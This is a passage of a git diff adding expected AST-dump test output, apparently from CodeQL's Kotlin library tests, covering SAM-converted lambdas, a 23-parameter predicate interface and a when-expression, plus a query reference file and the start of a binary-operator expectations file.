+#   38|           0: [TypeAccess] int
+#   38|         22: [Parameter] i22
+#   38|           0: [TypeAccess] int
+#   38|       5: [BlockStmt] { ... }
+#   38|         0: [ReturnStmt] return ...
+#   38|           0: [BooleanLiteral] true
+#   40|     4: [Method] fn
+#   40|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   40|         0: [Parameter] boo
+#   40|           0: [TypeAccess] boolean
+#   40|       5: [BlockStmt] { ... }
+#   41|         0: [LocalVariableDeclStmt] var ...;
+#   41|           1: [LocalVariableDeclExpr] a
+#   41|             0: [MemberRefExpr] ...::...
+#   41|               -4: [AnonymousClass] new FunctionN<Boolean>(...) { ... }
+#   41|                 1: [Constructor] 
+#   41|                   5: [BlockStmt] { ... }
+#   41|                     0: [SuperConstructorInvocationStmt] super(...)
+#   41|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   41|                     0: [Parameter] a0
+#   41|                   5: [BlockStmt] { ... }
+#   41|                     0: [ReturnStmt] return ...
+#   41|                       0: [MethodAccess] ff(...)
+#   41|                         -1: [TypeAccess] SamConversionKt
+#   41|                         0: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 0
+#   41|                         1: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 1
+#   41|                         2: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 2
+#   41|                         3: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 3
+#   41|                         4: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 4
+#   41|                         5: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 5
+#   41|                         6: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 6
+#   41|                         7: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 7
+#   41|                         8: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 8
+#   41|                         9: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 9
+#   41|                         10: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 10
+#   41|                         11: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 11
+#   41|                         12: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 12
+#   41|                         13: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 13
+#   41|                         14: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 14
+#   41|                         15: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 15
+#   41|                         16: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 16
+#   41|                         17: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 17
+#   41|                         18: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 18
+#   41|                         19: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 19
+#   41|                         20: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 20
+#   41|                         21: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 21
+#   41|                         22: [CastExpr] (...)...
+#   41|                           0: [TypeAccess] int
+#   41|                           1: [ArrayAccess] ...[...]
+#   41|                             0: [VarAccess] a0
+#   41|                             1: [IntegerLiteral] 22
+#   41|               -3: [TypeAccess] FunctionN<Boolean>
+#   41|                 0: [TypeAccess] Boolean
+#   42|         1: [LocalVariableDeclStmt] var ...;
+#   42|           1: [LocalVariableDeclExpr] b
+#   42|             0: [CastExpr] (...)...
+#   42|               0: [TypeAccess] BigArityPredicate
+#   42|               1: [ClassInstanceExpr] new (...)
+#   42|                 -4: [AnonymousClass] new BigArityPredicate(...) { ... }
+#   42|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#   42|                       0: [Parameter] <fn>
+#   42|                     5: [BlockStmt] { ... }
+#   42|                       0: [SuperConstructorInvocationStmt] super(...)
+#   42|                       1: [ExprStmt] <Expr>;
+#   42|                         0: [AssignExpr] ...=...
+#   42|                           0: [VarAccess] this.<fn>
+#   42|                             -1: [ThisAccess] this
+#   42|                           1: [VarAccess] <fn>
+#   42|                   1: [Method] accept
+#   42|                     3: [TypeAccess] boolean
+#-----|                     4: (Parameters)
+#   42|                       0: [Parameter] i0
+#   42|                         0: [TypeAccess] int
+#   42|                       1: [Parameter] i1
+#   42|                         0: [TypeAccess] int
+#   42|                       2: [Parameter] i2
+#   42|                         0: [TypeAccess] int
+#   42|                       3: [Parameter] i3
+#   42|                         0: [TypeAccess] int
+#   42|                       4: [Parameter] i4
+#   42|                         0: [TypeAccess] int
+#   42|                       5: [Parameter] i5
+#   42|                         0: [TypeAccess] int
+#   42|                       6: [Parameter] i6
+#   42|                         0: [TypeAccess] int
+#   42|                       7: [Parameter] i7
+#   42|                         0: [TypeAccess] int
+#   42|                       8: [Parameter] i8
+#   42|                         0: [TypeAccess] int
+#   42|                       9: [Parameter] i9
+#   42|                         0: [TypeAccess] int
+#   42|                       10: [Parameter] i10
+#   42|                         0: [TypeAccess] int
+#   42|                       11: [Parameter] i11
+#   42|                         0: [TypeAccess] int
+#   42|                       12: [Parameter] i12
+#   42|                         0: [TypeAccess] int
+#   42|                       13: [Parameter] i13
+#   42|                         0: [TypeAccess] int
+#   42|                       14: [Parameter] i14
+#   42|                         0: [TypeAccess] int
+#   42|                       15: [Parameter] i15
+#   42|                         0: [TypeAccess] int
+#   42|                       16: [Parameter] i16
+#   42|                         0: [TypeAccess] int
+#   42|                       17: [Parameter] i17
+#   42|                         0: [TypeAccess] int
+#   42|                       18: [Parameter] i18
+#   42|                         0: [TypeAccess] int
+#   42|                       19: [Parameter] i19
+#   42|                         0: [TypeAccess] int
+#   42|                       20: [Parameter] i20
+#   42|                         0: [TypeAccess] int
+#   42|                       21: [Parameter] i21
+#   42|                         0: [TypeAccess] int
+#   42|                       22: [Parameter] i22
+#   42|                         0: [TypeAccess] int
+#   42|                     5: [BlockStmt] { ... }
+#   42|                       0: [ReturnStmt] return ...
+#   42|                         0: [MethodAccess] invoke(...)
+#   42|                           -1: [VarAccess] <fn>
+#   42|                           0: [ArrayCreationExpr] new Object[]
+#   42|                             -2: [ArrayInit] {...}
+#   42|                               0: [VarAccess] i0
+#   42|                               1: [VarAccess] i1
+#   42|                               2: [VarAccess] i2
+#   42|                               3: [VarAccess] i3
+#   42|                               4: [VarAccess] i4
+#   42|                               5: [VarAccess] i5
+#   42|                               6: [VarAccess] i6
+#   42|                               7: [VarAccess] i7
+#   42|                               8: [VarAccess] i8
+#   42|                               9: [VarAccess] i9
+#   42|                               10: [VarAccess] i10
+#   42|                               11: [VarAccess] i11
+#   42|                               12: [VarAccess] i12
+#   42|                               13: [VarAccess] i13
+#   42|                               14: [VarAccess] i14
+#   42|                               15: [VarAccess] i15
+#   42|                               16: [VarAccess] i16
+#   42|                               17: [VarAccess] i17
+#   42|                               18: [VarAccess] i18
+#   42|                               19: [VarAccess] i19
+#   42|                               20: [VarAccess] i20
+#   42|                               21: [VarAccess] i21
+#   42|                               22: [VarAccess] i22
+#   42|                             -1: [TypeAccess] Object
+#   42|                             0: [IntegerLiteral] 23
+#   42|                   1: [FieldDeclaration] FunctionN<Boolean> <fn>;
+#   42|                     -1: [TypeAccess] FunctionN<Boolean>
+#   42|                       0: [TypeAccess] Boolean
+#   42|                 -3: [TypeAccess] BigArityPredicate
+#   42|                 0: [VarAccess] a
+#   43|         2: [LocalVariableDeclStmt] var ...;
+#   43|           1: [LocalVariableDeclExpr] c
+#   43|             0: [CastExpr] (...)...
+#   43|               0: [TypeAccess] BigArityPredicate
+#   43|               1: [ClassInstanceExpr] new (...)
+#   43|                 -4: [AnonymousClass] new BigArityPredicate(...) { ... }
+#   43|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#   43|                       0: [Parameter] <fn>
+#   43|                     5: [BlockStmt] { ... }
+#   43|                       0: [SuperConstructorInvocationStmt] super(...)
+#   43|                       1: [ExprStmt] <Expr>;
+#   43|                         0: [AssignExpr] ...=...
+#   43|                           0: [VarAccess] this.<fn>
+#   43|                             -1: [ThisAccess] this
+#   43|                           1: [VarAccess] <fn>
+#   43|                   1: [Method] accept
+#   43|                     3: [TypeAccess] boolean
+#-----|                     4: (Parameters)
+#   43|                       0: [Parameter] i0
+#   43|                         0: [TypeAccess] int
+#   43|                       1: [Parameter] i1
+#   43|                         0: [TypeAccess] int
+#   43|                       2: [Parameter] i2
+#   43|                         0: [TypeAccess] int
+#   43|                       3: [Parameter] i3
+#   43|                         0: [TypeAccess] int
+#   43|                       4: [Parameter] i4
+#   43|                         0: [TypeAccess] int
+#   43|                       5: [Parameter] i5
+#   43|                         0: [TypeAccess] int
+#   43|                       6: [Parameter] i6
+#   43|                         0: [TypeAccess] int
+#   43|                       7: [Parameter] i7
+#   43|                         0: [TypeAccess] int
+#   43|                       8: [Parameter] i8
+#   43|                         0: [TypeAccess] int
+#   43|                       9: [Parameter] i9
+#   43|                         0: [TypeAccess] int
+#   43|                       10: [Parameter] i10
+#   43|                         0: [TypeAccess] int
+#   43|                       11: [Parameter] i11
+#   43|                         0: [TypeAccess] int
+#   43|                       12: [Parameter] i12
+#   43|                         0: [TypeAccess] int
+#   43|                       13: [Parameter] i13
+#   43|                         0: [TypeAccess] int
+#   43|                       14: [Parameter] i14
+#   43|                         0: [TypeAccess] int
+#   43|                       15: [Parameter] i15
+#   43|                         0: [TypeAccess] int
+#   43|                       16: [Parameter] i16
+#   43|                         0: [TypeAccess] int
+#   43|                       17: [Parameter] i17
+#   43|                         0: [TypeAccess] int
+#   43|                       18: [Parameter] i18
+#   43|                         0: [TypeAccess] int
+#   43|                       19: [Parameter] i19
+#   43|                         0: [TypeAccess] int
+#   43|                       20: [Parameter] i20
+#   43|                         0: [TypeAccess] int
+#   43|                       21: [Parameter] i21
+#   43|                         0: [TypeAccess] int
+#   43|                       22: [Parameter] i22
+#   43|                         0: [TypeAccess] int
+#   43|                     5: [BlockStmt] { ... }
+#   43|                       0: [ReturnStmt] return ...
+#   43|                         0: [MethodAccess] invoke(...)
+#   43|                           -1: [VarAccess] <fn>
+#   43|                           0: [ArrayCreationExpr] new Object[]
+#   43|                             -2: [ArrayInit] {...}
+#   43|                               0: [VarAccess] i0
+#   43|                               1: [VarAccess] i1
+#   43|                               2: [VarAccess] i2
+#   43|                               3: [VarAccess] i3
+#   43|                               4: [VarAccess] i4
+#   43|                               5: [VarAccess] i5
+#   43|                               6: [VarAccess] i6
+#   43|                               7: [VarAccess] i7
+#   43|                               8: [VarAccess] i8
+#   43|                               9: [VarAccess] i9
+#   43|                               10: [VarAccess] i10
+#   43|                               11: [VarAccess] i11
+#   43|                               12: [VarAccess] i12
+#   43|                               13: [VarAccess] i13
+#   43|                               14: [VarAccess] i14
+#   43|                               15: [VarAccess] i15
+#   43|                               16: [VarAccess] i16
+#   43|                               17: [VarAccess] i17
+#   43|                               18: [VarAccess] i18
+#   43|                               19: [VarAccess] i19
+#   43|                               20: [VarAccess] i20
+#   43|                               21: [VarAccess] i21
+#   43|                               22: [VarAccess] i22
+#   43|                             -1: [TypeAccess] Object
+#   43|                             0: [IntegerLiteral] 23
+#   43|                   1: [FieldDeclaration] FunctionN<Boolean> <fn>;
+#   43|                     -1: [TypeAccess] FunctionN<Boolean>
+#   43|                       0: [TypeAccess] Boolean
+#   43|                 -3: [TypeAccess] BigArityPredicate
+#   43|                 0: [LambdaExpr] ...->...
+#   43|                   -4: [AnonymousClass] new FunctionN<Boolean>(...) { ... }
+#   43|                     1: [Constructor] 
+#   43|                       5: [BlockStmt] { ... }
+#   43|                         0: [SuperConstructorInvocationStmt] super(...)
+#   43|                     1: [Method] invoke
+#   43|                       3: [TypeAccess] boolean
+#-----|                       4: (Parameters)
+#   43|                         0: [Parameter] i0
+#   43|                           0: [TypeAccess] int
+#   43|                         1: [Parameter] i1
+#   43|                           0: [TypeAccess] int
+#   43|                         2: [Parameter] i2
+#   43|                           0: [TypeAccess] int
+#   43|                         3: [Parameter] i3
+#   43|                           0: [TypeAccess] int
+#   43|                         4: [Parameter] i4
+#   43|                           0: [TypeAccess] int
+#   43|                         5: [Parameter] i5
+#   43|                           0: [TypeAccess] int
+#   43|                         6: [Parameter] i6
+#   43|                           0: [TypeAccess] int
+#   43|                         7: [Parameter] i7
+#   43|                           0: [TypeAccess] int
+#   43|                         8: [Parameter] i8
+#   43|                           0: [TypeAccess] int
+#   43|                         9: [Parameter] i9
+#   43|                           0: [TypeAccess] int
+#   44|                         10: [Parameter] i10
+#   44|                           0: [TypeAccess] int
+#   44|                         11: [Parameter] i11
+#   44|                           0: [TypeAccess] int
+#   44|                         12: [Parameter] i12
+#   44|                           0: [TypeAccess] int
+#   44|                         13: [Parameter] i13
+#   44|                           0: [TypeAccess] int
+#   44|                         14: [Parameter] i14
+#   44|                           0: [TypeAccess] int
+#   44|                         15: [Parameter] i15
+#   44|                           0: [TypeAccess] int
+#   44|                         16: [Parameter] i16
+#   44|                           0: [TypeAccess] int
+#   44|                         17: [Parameter] i17
+#   44|                           0: [TypeAccess] int
+#   44|                         18: [Parameter] i18
+#   44|                           0: [TypeAccess] int
+#   44|                         19: [Parameter] i19
+#   44|                           0: [TypeAccess] int
+#   45|                         20: [Parameter] i20
+#   45|                           0: [TypeAccess] int
+#   45|                         21: [Parameter] i21
+#   45|                           0: [TypeAccess] int
+#   45|                         22: [Parameter] i22
+#   45|                           0: [TypeAccess] int
+#   45|                       5: [BlockStmt] { ... }
+#   45|                         0: [ReturnStmt] return ...
+#   45|                           0: [BooleanLiteral] true
+#   43|                     1: [Method] invoke
+#-----|                       4: (Parameters)
+#   43|                         0: [Parameter] a0
+#   43|                       5: [BlockStmt] { ... }
+#   43|                         0: [ReturnStmt] return ...
+#   43|                           0: [MethodAccess] invoke(...)
+#   43|                             -1: [ThisAccess] this
+#   43|                             0: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 0
+#   43|                             1: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 1
+#   43|                             2: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 2
+#   43|                             3: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 3
+#   43|                             4: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 4
+#   43|                             5: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 5
+#   43|                             6: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 6
+#   43|                             7: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 7
+#   43|                             8: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 8
+#   43|                             9: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 9
+#   43|                             10: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 10
+#   43|                             11: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 11
+#   43|                             12: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 12
+#   43|                             13: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 13
+#   43|                             14: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 14
+#   43|                             15: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 15
+#   43|                             16: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 16
+#   43|                             17: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 17
+#   43|                             18: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 18
+#   43|                             19: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 19
+#   43|                             20: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 20
+#   43|                             21: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 21
+#   43|                             22: [CastExpr] (...)...
+#   43|                               0: [TypeAccess] int
+#   43|                               1: [ArrayAccess] ...[...]
+#   43|                                 0: [VarAccess] a0
+#   43|                                 1: [IntegerLiteral] 22
+#   43|                   -3: [TypeAccess] FunctionN<Boolean>
+#   43|                     0: [TypeAccess] Boolean
+#   46|         3: [LocalVariableDeclStmt] var ...;
+#   46|           1: [LocalVariableDeclExpr] d
+#   46|             0: [CastExpr] (...)...
+#   46|               0: [TypeAccess] SomePredicate<Integer>
+#   46|                 0: [TypeAccess] Integer
+#   46|               1: [ClassInstanceExpr] new (...)
+#   46|                 -4: [AnonymousClass] new SomePredicate<Integer>(...) { ... }
+#   46|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#   46|                       0: [Parameter] <fn>
+#   46|                     5: [BlockStmt] { ... }
+#   46|                       0: [SuperConstructorInvocationStmt] super(...)
+#   46|                       1: [ExprStmt] <Expr>;
+#   46|                         0: [AssignExpr] ...=...
+#   46|                           0: [VarAccess] this.<fn>
+#   46|                             -1: [ThisAccess] this
+#   46|                           1: [VarAccess] <fn>
+#   46|                   1: [Method] fn
+#   46|                     3: [TypeAccess] boolean
+#-----|                     4: (Parameters)
+#   46|                       0: [Parameter] i
+#   46|                         0: [TypeAccess] Integer
+#   46|                     5: [BlockStmt] { ... }
+#   46|                       0: [ReturnStmt] return ...
+#   46|                         0: [MethodAccess] invoke(...)
+#   46|                           -1: [VarAccess] <fn>
+#   46|                           0: [VarAccess] i
+#   46|                   1: [FieldDeclaration] Function1<Integer,Boolean> <fn>;
+#   46|                     -1: [TypeAccess] Function1<Integer,Boolean>
+#   46|                       0: [TypeAccess] Integer
+#   46|                       1: [TypeAccess] Boolean
+#   46|                 -3: [TypeAccess] SomePredicate<Integer>
+#   46|                   0: [TypeAccess] Integer
+#   46|                 0: [LambdaExpr] ...->...
+#   46|                   -4: [AnonymousClass] new Function1<Integer,Boolean>(...) { ... }
+#   46|                     1: [Constructor] 
+#   46|                       5: [BlockStmt] { ... }
+#   46|                         0: [SuperConstructorInvocationStmt] super(...)
+#   46|                     1: [Method] invoke
+#   46|                       3: [TypeAccess] boolean
+#-----|                       4: (Parameters)
+#   46|                         0: [Parameter] a
+#   46|                           0: [TypeAccess] int
+#   46|                       5: [BlockStmt] { ... }
+#   46|                         0: [ReturnStmt] return ...
+#   46|                           0: [BooleanLiteral] true
+#   46|                   -3: [TypeAccess] Function1<Integer,Boolean>
+#   46|                     0: [TypeAccess] Integer
+#   46|                     1: [TypeAccess] Boolean
+#   16|   2: [Interface] IntPredicate
+#   17|     1: [Method] accept
+#   17|       3: [TypeAccess] boolean
+#-----|       4: (Parameters)
+#   17|         0: [Parameter] i
+#   17|           0: [TypeAccess] int
+#   22|   3: [Interface] InterfaceFn1
+#   23|     1: [Method] fn1
+#   23|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   23|         0: [Parameter] i
+#   23|           0: [TypeAccess] int
+#   23|         1: [Parameter] j
+#   23|           0: [TypeAccess] int
+#   26|   4: [Interface] InterfaceFnExt1
+#   27|     1: [ExtensionMethod] ext
+#   27|       3: [TypeAccess] boolean
+#-----|       4: (Parameters)
+#   27|         0: [Parameter] <this>
+#   27|           0: [TypeAccess] String
+#   27|         1: [Parameter] i
+#   27|           0: [TypeAccess] int
+#   30|   5: [Interface] BigArityPredicate
+#   31|     1: [Method] accept
+#   31|       3: [TypeAccess] boolean
+#-----|       4: (Parameters)
+#   31|         0: [Parameter] i0
+#   31|           0: [TypeAccess] int
+#   31|         1: [Parameter] i1
+#   31|           0: [TypeAccess] int
+#   31|         2: [Parameter] i2
+#   31|           0: [TypeAccess] int
+#   31|         3: [Parameter] i3
+#   31|           0: [TypeAccess] int
+#   31|         4: [Parameter] i4
+#   31|           0: [TypeAccess] int
+#   31|         5: [Parameter] i5
+#   31|           0: [TypeAccess] int
+#   31|         6: [Parameter] i6
+#   31|           0: [TypeAccess] int
+#   31|         7: [Parameter] i7
+#   31|           0: [TypeAccess] int
+#   31|         8: [Parameter] i8
+#   31|           0: [TypeAccess] int
+#   31|         9: [Parameter] i9
+#   31|           0: [TypeAccess] int
+#   32|         10: [Parameter] i10
+#   32|           0: [TypeAccess] int
+#   32|         11: [Parameter] i11
+#   32|           0: [TypeAccess] int
+#   32|         12: [Parameter] i12
+#   32|           0: [TypeAccess] int
+#   32|         13: [Parameter] i13
+#   32|           0: [TypeAccess] int
+#   32|         14: [Parameter] i14
+#   32|           0: [TypeAccess] int
+#   32|         15: [Parameter] i15
+#   32|           0: [TypeAccess] int
+#   32|         16: [Parameter] i16
+#   32|           0: [TypeAccess] int
+#   32|         17: [Parameter] i17
+#   32|           0: [TypeAccess] int
+#   32|         18: [Parameter] i18
+#   32|           0: [TypeAccess] int
+#   32|         19: [Parameter] i19
+#   32|           0: [TypeAccess] int
+#   33|         20: [Parameter] i20
+#   33|           0: [TypeAccess] int
+#   33|         21: [Parameter] i21
+#   33|           0: [TypeAccess] int
+#   33|         22: [Parameter] i22
+#   33|           0: [TypeAccess] int
+#   49|   6: [GenericType,Interface,ParameterizedType] SomePredicate
+#-----|     -2: (Generic Parameters)
+#   49|       0: [TypeVariable] T
+#   50|     1: [Method] fn
+#   50|       3: [TypeAccess] boolean
+#-----|       4: (Parameters)
+#   50|         0: [Parameter] i
+#   50|           0: [TypeAccess] T
+whenExpr.kt:
+#    0| [CompilationUnit] whenExpr
+#    0|   1: [Class] WhenExprKt
+#    1|     1: [Method] testWhen
+#    1|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#    1|         0: [Parameter] i
+#    1|           0: [TypeAccess] int
+#    1|       5: [BlockStmt] { ... }
+#    2|         0: [ReturnStmt] return ...
+#    2|           0: [StmtExpr] <Stmt>
+#    2|             0: [BlockStmt] { ... }
+#    2|               0: [LocalVariableDeclStmt] var ...;
+#    2|                 1: [LocalVariableDeclExpr] tmp0_subject
+#    2|                   0: [VarAccess] i
+#    2|               1: [ExprStmt] <Expr>;
+#    2|                 0: [WhenExpr] when ...
+#    3|                   0: [WhenBranch] ... -> ...
+#    3|                     0: [ValueEQExpr] ... (value equals) ...
+#    3|                       0: [VarAccess] tmp0_subject
+#    3|                       1: [IntegerLiteral] 0
+#    3|                     1: [ExprStmt] <Expr>;
+#    3|                       0: [IntegerLiteral] 1
+#    4|                   1: [WhenBranch] ... -> ...
+#    4|                     0: [ValueEQExpr] ... (value equals) ...
+#    4|                       0: [VarAccess] tmp0_subject
+#    4|                       1: [IntegerLiteral] 1
+#    4|                     1: [ExprStmt] <Expr>;
+#    4|                       0: [IntegerLiteral] 2
+#    5|                   2: [WhenBranch] ... -> ...
+#    5|                     0: [ValueEQExpr] ... (value equals) ...
+#    5|                       0: [VarAccess] tmp0_subject
+#    5|                       1: [IntegerLiteral] 2
+#    5|                     1: [ReturnStmt] return ...
+#    5|                       0: [IntegerLiteral] 3
+#    6|                   3: [WhenBranch] ... -> ...
+#    6|                     0: [ValueEQExpr] ... (value equals) ...
+#    6|                       0: [VarAccess] tmp0_subject
+#    6|                       1: [IntegerLiteral] 3
+#    6|                     1: [ThrowStmt] throw ...
+#    6|                       0: [ClassInstanceExpr] new Exception(...)
+#    6|                         -3: [TypeAccess] Exception
+#    6|                         0: [StringLiteral] No threes please
+#    7|                   4: [WhenBranch] ... -> ...
+#    7|                     0: [BooleanLiteral] true
+#    7|                     1: [ExprStmt] <Expr>;
+#    7|                       0: [IntegerLiteral] 999
diff --git a/java/ql/test/kotlin/library-tests/exprs/PrintAst.qlref b/java/ql/test/kotlin/library-tests/exprs/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/exprs/binop.expected b/java/ql/test/kotlin/library-tests/exprs/binop.expected
new file mode 100644
index 00000000000..06cc0f1d1f6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/binop.expected
@@ -0,0 +1,121 @@
+| exprs.kt:12:14:12:18 | ... + ... | exprs.kt:12:14:12:14 | x | exprs.kt:12:18:12:18 | y |
+| exprs.kt:13:14:13:18 | ... - ... | exprs.kt:13:14:13:14 | x | exprs.kt:13:18:13:18 | y |
+| exprs.kt:14:14:14:18 | ... / ... | exprs.kt:14:14:14:14 | x | exprs.kt:14:18:14:18 | y |
+| exprs.kt:15:14:15:18 | ... % ... | exprs.kt:15:14:15:14 | x | exprs.kt:15:18:15:18 | y |
